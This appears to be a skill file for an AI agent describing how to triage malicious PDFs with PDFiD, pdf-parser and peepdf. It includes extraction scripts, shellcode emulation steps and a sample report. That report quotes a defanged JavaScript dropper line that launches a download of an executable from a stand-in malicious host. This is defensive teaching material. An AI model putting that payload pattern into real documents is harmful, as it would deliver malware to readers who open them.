analyzing-pdf-malware-with-pdfid

Analyzes malicious PDF files using PDFiD, pdf-parser, and peepdf to identify embedded JavaScript, shellcode, exploits, and suspicious objects without opening the document. Determines the attack vector and extracts embedded payloads for further analysis. Activates for requests involving PDF malware analysis, malicious document analysis, PDF exploit investigation, or suspicious attachment triage.

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Letzte Quellaktivität: 16. März 2026 um 00:59
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name	analyzing-pdf-malware-with-pdfid
description	Analyzes malicious PDF files using PDFiD, pdf-parser, and peepdf to identify embedded JavaScript, shellcode, exploits, and suspicious objects without opening the document. Determines the attack vector and extracts embedded payloads for further analysis. Activates for requests involving PDF malware analysis, malicious document analysis, PDF exploit investigation, or suspicious attachment triage.
domain	cybersecurity
subdomain	malware-analysis
tags	["malware","PDF-analysis","document-malware","PDFiD","static-analysis"]
version	1.0.0
author	mahipal
license	Apache-2.0

Analyzing PDF Malware with PDFiD

When to Use

A suspicious PDF attachment has been flagged by email security or reported by a user
You need to determine if a PDF contains embedded JavaScript, shellcode, or exploit code
Triaging PDF documents before opening them in a sandbox or analysis environment
Extracting embedded executables, scripts, or URLs from malicious PDF objects
Analyzing PDF exploit kits targeting Adobe Reader or other PDF viewer vulnerabilities

Do not use for analyzing the rendered visual content of a PDF; this is for structural analysis of the PDF file format for malicious objects.

Prerequisites

Python 3.8+ with Didier Stevens' PDF tools installed (pip install pdfid pdf-parser)
peepdf installed for interactive PDF analysis (pip install peepdf)
pdftotext from poppler-utils for extracting text content safely
YARA with PDF-specific rules for malware family identification
Isolated analysis VM without a PDF reader installed (prevent accidental opening)
CyberChef for decoding embedded Base64, hex, or deflate streams

Workflow

Step 1: Initial Triage with PDFiD

Scan the PDF for suspicious keywords and structures:

# Run PDFiD to identify suspicious elements
pdfid suspect.pdf

# Expected output analysis:
# /JS           - JavaScript (HIGH risk)
# /JavaScript   - JavaScript object (HIGH risk)
# /AA           - Auto-Action triggered on open (HIGH risk)
# /OpenAction   - Action on document open (HIGH risk)
# /Launch       - Launch external application (HIGH risk)
# /EmbeddedFile - Embedded file (MEDIUM risk)
# /RichMedia    - Flash content (MEDIUM risk)
# /ObjStm       - Object stream (used for obfuscation)
# /URI          - URL reference (contextual risk)
# /AcroForm     - Interactive form (MEDIUM risk)

# Run with extra detail
pdfid -e suspect.pdf

# Run with disarming (rename suspicious keywords)
pdfid -d suspect.pdf

PDFiD Risk Assessment:
━━━━━━━━━━━━━━━━━━━━━
HIGH RISK indicators (any count > 0):
  /JS, /JavaScript  -> Embedded JavaScript code
  /AA               -> Automatic Action (triggers without user interaction)
  /OpenAction       -> Code runs when document is opened
  /Launch           -> Can launch external executables
  /JBIG2Decode      -> Associated with CVE-2009-0658 exploit

MEDIUM RISK indicators:
  /EmbeddedFile     -> Contains embedded files (could be EXE/DLL)
  /RichMedia        -> Flash/multimedia (Flash exploits)
  /AcroForm         -> Form with possible submit action
  /XFA              -> XML Forms Architecture (complex attack surface)

LOW RISK indicators:
  /ObjStm           -> Object streams (obfuscation technique)
  /URI              -> External URL references
  /Page             -> Number of pages (context only)

# List all objects referencing JavaScript
pdf-parser --search "/JavaScript" suspect.pdf
pdf-parser --search "/JS" suspect.pdf

# List all objects with OpenAction
pdf-parser --search "/OpenAction" suspect.pdf

# Extract a specific object by ID (example: object 5)
pdf-parser --object 5 suspect.pdf

# Extract and decompress stream content
pdf-parser --object 5 --filter --raw suspect.pdf

# Search for embedded files
pdf-parser --search "/EmbeddedFile" suspect.pdf

# List all objects with their types
pdf-parser --stats suspect.pdf

# Extract JavaScript using pdf-parser
pdf-parser --search "/JS" --raw --filter suspect.pdf > extracted_js.txt

# Alternative: Use peepdf for interactive JavaScript extraction
peepdf -f -i suspect.pdf << 'EOF'
js_analyse
EOF

# peepdf interactive commands for JS analysis:
# js_analyse          - Extract and show all JavaScript code
# js_beautify         - Format extracted JavaScript
# js_eval <object>    - Evaluate JavaScript in sandboxed environment
# object <id>         - Display object content
# rawobject <id>      - Display raw object bytes
# stream <id>         - Display decompressed stream
# offsets             - Show object offsets in file

# Python script for comprehensive PDF JavaScript extraction
import subprocess
import re

# Extract all streams and search for JavaScript
result = subprocess.run(
    ["pdf-parser", "--stats", "suspect.pdf"],
    capture_output=True, text=True
)

# Find object IDs containing JavaScript references
js_objects = []
for line in result.stdout.split('\n'):
    if '/JavaScript' in line or '/JS' in line:
        obj_id = re.search(r'obj (\d+)', line)
        if obj_id:
            js_objects.append(obj_id.group(1))

# Extract each JavaScript-containing object
for obj_id in js_objects:
    result = subprocess.run(
        ["pdf-parser", "--object", obj_id, "--filter", "--raw", "suspect.pdf"],
        capture_output=True, text=True
    )
    print(f"\n=== Object {obj_id} ===")
    print(result.stdout[:2000])

# Extract raw stream data for shellcode analysis
pdf-parser --object 7 --filter --raw --dump shellcode.bin suspect.pdf

# Analyze shellcode with scdbg (shellcode debugger)
scdbg /f shellcode.bin

# Alternative: Use speakeasy for shellcode emulation
python3 -c "
import speakeasy

se = speakeasy.Speakeasy()
sc_addr = se.load_shellcode('shellcode.bin', arch='x86')
se.run_shellcode(sc_addr, count=1000)

# Review API calls made by shellcode
for event in se.get_report()['api_calls']:
    print(f\"{event['api']}: {event['args']}\")
"

# Use CyberChef to decode hex/base64 encoded shellcode
# Input: Extracted stream data
# Recipe: From Hex -> Disassemble x86

# Extract embedded files from PDF
import subprocess
import hashlib

# Find embedded file objects
result = subprocess.run(
    ["pdf-parser", "--search", "/EmbeddedFile", "--raw", "--filter", "suspect.pdf"],
    capture_output=True
)

# Extract embedded PE files by searching for MZ header
with open("suspect.pdf", "rb") as f:
    data = f.read()

# Search for embedded PE files
offset = 0
while True:
    pos = data.find(b'MZ', offset)
    if pos == -1:
        break
    # Verify PE signature
    if pos + 0x3C < len(data):
        pe_offset = int.from_bytes(data[pos+0x3C:pos+0x40], 'little')
        if pos + pe_offset + 2 < len(data) and data[pos+pe_offset:pos+pe_offset+2] == b'PE':
            print(f"Embedded PE found at offset 0x{pos:X}")
            # Extract (estimate size or use PE header)
            embedded = data[pos:pos+100000]  # Initial extraction
            sha256 = hashlib.sha256(embedded).hexdigest()
            with open(f"embedded_{pos:X}.exe", "wb") as out:
                out.write(embedded)
            print(f"  SHA-256: {sha256}")
    offset = pos + 1

# Extract URLs from PDF
result = subprocess.run(
    ["pdf-parser", "--search", "/URI", "--raw", "suspect.pdf"],
    capture_output=True, text=True
)
urls = re.findall(r'(https?://[^\s<>"]+)', result.stdout)
for url in set(urls):
    print(f"URL: {url}")

Analysis should cover:
- PDFiD triage results (suspicious keyword counts)
- PDF structure anomalies (object streams, cross-reference issues)
- Extracted JavaScript code (deobfuscated if needed)
- Shellcode analysis results (API calls, network indicators)
- Embedded files extracted with hashes
- URLs and external references
- CVE identification if a known exploit is detected
- YARA rule matches against known PDF malware families

Term	Definition
PDF Object	Basic building block of a PDF file; objects can contain streams (compressed data), dictionaries, arrays, and references to other objects
OpenAction	PDF dictionary entry specifying an action to execute when the document is opened; commonly used to trigger JavaScript exploits
PDF Stream	Compressed data within a PDF object that can contain JavaScript, images, embedded files, or shellcode; typically FlateDecode compressed
FlateDecode	Zlib/deflate compression filter applied to PDF streams; must be decompressed to analyze contents
ObjStm (Object Stream)	PDF feature storing multiple objects within a single compressed stream; used by malware to hide suspicious objects from simple parsers
JBIG2	Image compression standard in PDFs; historical source of exploits (CVE-2009-0658, CVE-2021-30860 FORCEDENTRY)
PDF JavaScript API	Adobe-specific JavaScript extensions available in PDF documents for form manipulation, network access, and OS interaction

PDF MALWARE ANALYSIS REPORT
==============================
File:             invoice_2025.pdf
SHA-256:          e3b0c44298fc1c149afbf4c8996fb924...
File Size:        45,312 bytes
PDF Version:      1.7

PDFID TRIAGE
/JS:              1  [HIGH RISK]
/JavaScript:      1  [HIGH RISK]
/OpenAction:      1  [HIGH RISK]
/EmbeddedFile:    0
/Launch:          0
/URI:             2
/Page:            1
/ObjStm:          1  [OBFUSCATION]

SUSPICIOUS OBJECTS
Object 5:        /OpenAction -> references Object 8
Object 8:        /JavaScript stream (FlateDecode, 2,847 bytes decompressed)
Object 12:       /ObjStm containing objects 15-18

EXTRACTED JAVASCRIPT
Layer 1:          eval(unescape("%68%65%6C%6C%6F"))
Layer 2:          var url = "hxxp://malicious[.]com/payload.exe";
                  app.launchURL(url, true);
                  // Social engineering redirect, not exploit

EXTRACTED IOCs
URLs:             hxxp://malicious[.]com/payload.exe
                  hxxps://fake-login[.]com/adobe/verify
Domains:          malicious[.]com, fake-login[.]com

CLASSIFICATION
Type:             Social Engineering (URL redirect)
CVE:              None (no exploit code detected)
Risk:             HIGH (downloads executable payload)
Family:           Generic PDF Dropper